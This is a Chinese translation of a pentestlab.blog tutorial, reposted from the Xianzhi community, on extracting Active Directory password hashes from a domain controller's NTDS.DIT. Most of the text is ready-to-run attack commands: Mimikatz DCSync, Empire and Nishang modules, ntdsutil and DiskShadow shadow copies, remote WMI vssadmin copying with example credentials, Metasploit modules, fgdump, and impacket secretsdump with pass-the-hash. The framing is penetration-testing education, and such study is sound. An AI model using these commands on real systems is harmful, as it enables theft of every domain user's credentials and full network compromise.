本文轉自先知社區,原文連接:https://xz.aliyun.com/t/2527#toc-10node
原文地址:https://pentestlab.blog/2018/07/04/dumping-domain-password-hashespython
<h1>在滲透測試的過程當中,當咱們已是域管權限時,就能夠實現提取全部域內用戶的密碼哈希以進行離線破解和分析,這是很是常見的一個操做。這些哈希值存儲在域控制器(NTDS.DIT)中的數據庫文件中,並帶有一些其餘信息,如組中成員身份和用戶。</h1>git
NTDS.DIT
文件常常被操做系統使用,所以沒法直接複製到其餘位置以提取信息。能夠在Windows如下位置找到此文件:github
C:\Windows\NTDS\NTDS.dit
可使用各類騷操做來提取此文件或存儲在其中的信息,可是大多數狀況下都使用如下方法之一:數據庫
Mimikatz有一個功能(dcsync),它利用目錄複製服務(DRS)從NTDS.DIT文件中檢索密碼哈希值。這樣子解決了須要直接使用域控制器進行身份驗證的須要,由於它能夠從域管理員的上下文中得到執行權限。所以它是紅隊的基本操做,由於它不那麼複雜。windows
lsadump::dcsync /domain:pentestlab.local /all /csv
ps:目錄複製服務遠程協議解釋:目錄複製服務遠程協議是用於DC之間複製和AD管理的RPC協議。該協議由一個名爲drsuapi的 RPC接口組成。 對於客戶端與AD輕型目錄服務(AD/LDS)域控制器創建RPC鏈接,它須要知道計算機的名稱以及AD/LDS域控制器正在偵聽的LDAP端口的編號。
首先,客戶端創建與計算機上的端點映射器服務的鏈接。 接下來,客戶端枚舉爲所需接口ID註冊的全部端點。最後,客戶端選擇其註釋等於所需AD/LDS域控制器的LDAP端口號的端點。 此協議適用於管理目錄中的對象,以及目錄服務的總體管理。
經過使用/user
參數指定域用戶名,Mimikatz
能夠dump此特定用戶的全部賬戶信息,包括其密碼哈希。sass
lsadump::dcsync /domain:pentestlab.local /user:test
或者直接在域控制器中執行Mimikatz,經過lsass.exe進程dump哈希。
privilege::debug lsadump::lsa /inject
將檢索域內用戶的密碼哈希值。
PowerShell Empire
有兩個模塊,能夠經過DCSync
攻擊dump域內哈希值。這兩個模塊都須要以域管理員權限執行,而且目標機器正在使用Microsoft複製服務。這些模塊依賴於Invoke-Mimikatz PowerShell
腳原本執行與DCSync
相關的Mimikatz
命令。如下模塊將域內哈希值提取爲相似於Metasploit hashdump
命令輸出的格式。
usemodule credentials/mimikatz/dcsync_hashdump
用DCSync
模塊dump全部的賬戶中指定的用戶信息。
將得到如下信息:
Nishang是一個PowerShell
框架,它讓redteam
和滲透測試人員可以對系統進行攻擊性操做。Nishang中的VSS腳本能夠用於自動提取所需的文件:NTDS.DIT,SAM和SYSTEM
。這些文件將被解壓縮到當前工做目錄或指定的任何其餘文件夾中。
Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\
或者,能夠經過現有的Meterpreter會話加載PowerShell擴展來執行腳本。
load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS
也可使用命令powershell_shell
直接創建PowerShell會話,以便在在現有的Meterpreter會話中導入腳本後提取文件。
Copy-VSS Copy-VSS -DestinationDir C:\Ninja
PowerSploit包含PowerShell腳本,該腳本利用卷複製服務建立可用於提取文件的新卷。
Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy
或者,能夠經過加載PowerShell擴展來從現有的Meterpreter會話執行它。
powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy
Invoke–DCSync 是Nick Landers利用PowerView開發的powershell腳本。
Invoke-ReflectivePEInjection和PowerKatz的DLL wrapper 調用Mimikatz的DCSync方法檢索哈希值。
直接執行該函數將生成如下輸出:
Invoke-DCSync
結果將格式化爲四個表:Domain,User,RID和Hash。可是,使用參數-PWDumpFormat執行Invoke-DCSync將以如下格式檢索哈希:
user:id:lm:ntlm ::: Invoke-DCSync -PWDumpFormat
經過從現有的Meterpreter會話運行腳本,能夠實現相同的輸出。
該NTDSUTIL是一個命令行工具,它是域控制器生態系統的一部分,其目的是爲了使管理員可以訪問和管理Windows Active Directory
數據庫。可是,滲透測試人員和redteam能夠用它來拍攝現有ntds.dit文件的快照,該文件能夠複製到新位置以進行離線分析和密碼哈希的提取。
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
將生成兩個新文件夾:Active Directory和Registry。NTDS.DIT文件將保存在Active Directory中,SAM和SYSTEM文件將保存到Registry文件夾中。
DiskShadow是Microsoft簽名的二進制文件,用於協助管理員執行與卷複製服務(VSS)相關的操做。最初bohops在他的博客中寫到了這個二進制文件。這個二進制文件有兩個交互式和腳本模式,所以可使用一個腳本文件,它將包含自動執行NTDS.DIT提取過程所需的全部命令。腳本文件能夠包含如下行,以便建立新的卷影副本,裝入新驅動器,執行復制命令並刪除卷影副本。
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset
須要注意一點,DiskShadow
二進制文件須要從C:\Windows\System32
路徑執行。若是從另外一個路徑調用它,腳本將沒法正確執行。
diskshadow.exe /s c:\diskshadow.txt
diskshadow
LIST SHADOWS ALL
SYSTEM
註冊表配置單元也應該複製,由於它包含解密NTDS文件內容的密鑰。
reg.exe save hklm\system c:\exfil\system.bak
Sean Metcalf在他的博客中證實了,能夠經過WMI遠程提取NTDS.DIT和SYSTEM文件。此技術使用vssadmin
二進制文件來建立卷的副本。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
而後,它遠程執行復制命令,以便將卷影副本中的NTDS.DIT文件解壓縮到目標系統上的另外一個目錄中。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"
而後,解壓縮的文件能夠從域控制器傳輸到另外一個Windows系統,而後dump域內用戶密碼哈希值。
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp
若是已生成金票據,則可使用它經過Kerberos與域控制器進行身份驗證,而不是憑據。
卷影拷貝服務是Windows命令行實用的程序,使管理員能夠備份計算機,卷和文件,即便它們正在被操做系統使用。卷影複製做爲服務運行,並要求將文件系統格式化爲NTFS,默認狀況下全部現代操做系統都是如此。從Windows命令提示符執行如下操做將建立C:驅動器的快照,以便用戶一般沒法訪問這些文件以將其複製到另外一個位置(本地文件夾,網絡文件夾或可移動設備)。
vssadmin create shadow /for=C:
ps:
關於Volume Shadow Copy 服務:
它是管理及執行用於備份和其餘目的的磁碟區卷影。若是這個服務被中止,卷影將沒法用於備份,備份可能會失敗。若是這個服務被停用,依存它的服務沒法啓動。
這一服務惟一的缺點是你須要爲每個卷影留出更多的磁盤空間,由於你必須在某處存儲這些拷貝。
它主要是用來備份數據庫之類的數據,我的電腦確實通常用不上它。能夠放心禁用!
因爲C:驅動器中的全部文件都已複製到另外一個位置(HarddiskVolumeShadowCopy1),所以它們不會被操做系統直接使用,所以能夠訪問他而且複製到另外一個位置。命令副本將NTDS.DIT和SYSTEM文件複製到名爲ShadowCopy的本地驅動器上的新建立文件夾中。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
須要將這些文件從域控制器複製到另外一個主機以進行進一步處理。
與vssadmin程序相似,Tim Tomes開發了vssown,它是一個可視化的基本腳本,能夠建立和刪除卷影副本,從卸載的卷影副本運行任意可執行文件,以及啓動和中止卷影複製服務。
cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown
Metasploit框架有一個模塊,它經過服務器消息塊(SMB)服務直接與域控制器進行身份驗證,建立系統驅動器的卷影副本,並將NTDS.DIT和SYSTEM配置單元的副本下載到Metasploit目錄中。這些文件能夠與impacket等其餘工具一塊兒使用,這些工具能夠進行 active directory
哈希密碼的提取。
auxiliary/admin/smb/psexec_ntdsgrab
還有一個後滲透模塊,能夠連接到現有的Meterpreter會話,以便經過ntdsutil方法檢索域哈希。
windows/gather/credentials/domain_hashdump
或者,若是已經拿到域控制器的現有Meterpreter會話,則可使用命令hashdump。可是,此方法不被認爲是安全的,由於它可能會使域控崩掉。
hashdump
fgdump是一個比較老的可執行文件,可提取的LanMan和NTLM的密碼哈希值。若是已獲取本地管理員憑據,則能夠在本地或遠程執行。在執行期間,fgdump將嘗試禁用可能在系統上運行的防病毒軟件,若是成功,則會將全部數據寫入兩個文件中。若是存在防病毒或端點解決方案,則不該該將fgdump用做dump密碼哈希的方法以免檢測,由於大多數防病毒公司(包括Microsoft的Windows Defender)都會對將它kill掉。
fgdump.exe
能夠經過檢查.pwdump文件的內容來get密碼哈希值。
type 127.0.0.1.pwdump
Impacket是一組python腳本,可用於執行各類任務,包括提取NTDS文件的內容。impacket-secretsdump
模塊須要系統和NTDS數據庫文件.
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
此外,impacket能夠經過使用計算機賬戶及其哈希進行身份驗證而後從NTDS.DIT文件遠程dump域內全部密碼哈希。
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
做爲impacket的替代解決方案,NTDSDumpEx二進制文件能夠從Windows主機中提取域密碼哈希值。
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive
還有一個shell腳本adXtract,它能夠將用戶名和密碼哈希導出爲一種格式,可使用常見密碼破解程序進行破解,例如John the Ripper和Hashcat。
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab
該腳本將全部信息寫入項目名稱下的各類文件中,當數據庫文件NTDS的解密完成後,將用戶列表和密碼哈希值導出到控制檯中。該腳本將提供有關域用戶的大量信息,以下所示。
密碼哈希將如下列格式顯示。